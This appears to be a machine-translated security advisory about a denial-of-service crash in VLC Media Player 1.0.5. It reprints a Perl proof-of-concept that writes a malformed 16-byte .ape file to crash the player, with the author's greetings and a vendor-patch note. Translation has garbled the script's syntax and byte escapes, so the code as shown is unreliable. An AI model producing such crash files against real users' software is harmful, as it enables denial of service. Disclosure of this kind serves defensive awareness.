VLC Media Player. ape File Denial Of Service Vulnerability and repair

Source: Internet
Author: User

Affected Versions:
VideoLAN VLC Media Player 1.0.5

Vulnerability description:

VLC Media Player is a free Media Player.

VLC Media Player has a remote denial-of-service vulnerability when processing ". ape" files. Attackers can exploit this vulnerability to crash affected applications and cause DOS. <* Reference
KedAns-Dz
*>

Test method:
 
KedAns-Dz () provides the following test methods:

#! /Usr/bin/perl

###
# Title: VLC media player v1.0.5 (. ape) Local Crash PoC
# Author: KedAns-Dz
# E-mail: ked-h@hotmail.com
# Home: HMD/AM (0, 30008/04300)-Algeria-(00213555248701)
# Twitter page: twitter.com/kedans
# Platform: Windows
# Impact: VLC media player Just Crashed
# Tested on: Windows XP SP3 Fran & #65533; ais
# Target: VLC media player v1.0.5
###
# Note: BAC 2011 Enchallah (KedAns me & BadR0 & Dr. Ride & Red1One & XoreR & Fox-Dz... all)
#------------
# Usage: 1-Creat APE file (Monkeys Audio Format)
#=> 2-Open APE file With VLC 1.0.5
#=> 3-Crashed !!!
#------------
# Start system/root @ MSdos /:
System ("title KedAns-Dz ");
System ("color 1e ");
System ("cls ");
Print "";
Print "| ============================================== ===================================| ";
Print "| = [!] Name: VLC media player v1.0.5 (Monkeys File) = | ";
Print "| = [!] Exploit: Local Crash PoC = | ";
Print "| = [!] Author: KedAns-Dz = | ";
Print "| = [!] Mail: Ked-h (at) hotmail (dot) com = | ";
Print "| ============================================== ===================================| ";
Sleep (2 );
Print "";
# Creating...
My $ PoC = "x4Dx41x43x20x96x0fx00x00x34x00x00x00x18x00x00x00"; # APE Header
Open (file, ">", "Kedans. ape"); # edevil File APE (16 bytes) 4.0 KB
Print file $ PoC;
Print "[+] File successfully created! "Or die print" [-] OpsS! File is Not Created !! ";
Close (file );

#=================== [Exploited By KedAns-Dz * HST-Dz *] ============ ====================
# Special Greets to: [D] HaCkerS-StreeT-Team [Z] <Algerians HaCkerS>
# Greets to All algerians explo! TERs & DEVELOPERs :=> {{
# Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz * His0k4 * Dr.0rYX
# Cr3w-DZ * El-Kahina * Dz-Girl * SuNHouSe2; All Others & All My Friends .}},
# [Special Greets to 3em GE Class & all 3Se Pupils, BACALORIA 2011 Enchallah
# Messas Secondary School-Ain mlilla-04300-Algeria],
# Greets All My Friends (cit & #65533; 1850 logts-HassiMessaouD-30008-Algeria ),
# ThanX: (hotturks.org) TeX * KadaVra... all Muslimised Turkish Hackers.
# ThanX to: Kelvin. Xgr (kelvinx.net) Vietnamese Hacker.
#===================================================== ==========================================================

Vendor patch:

VideoLAN
--------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.videolan.org/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.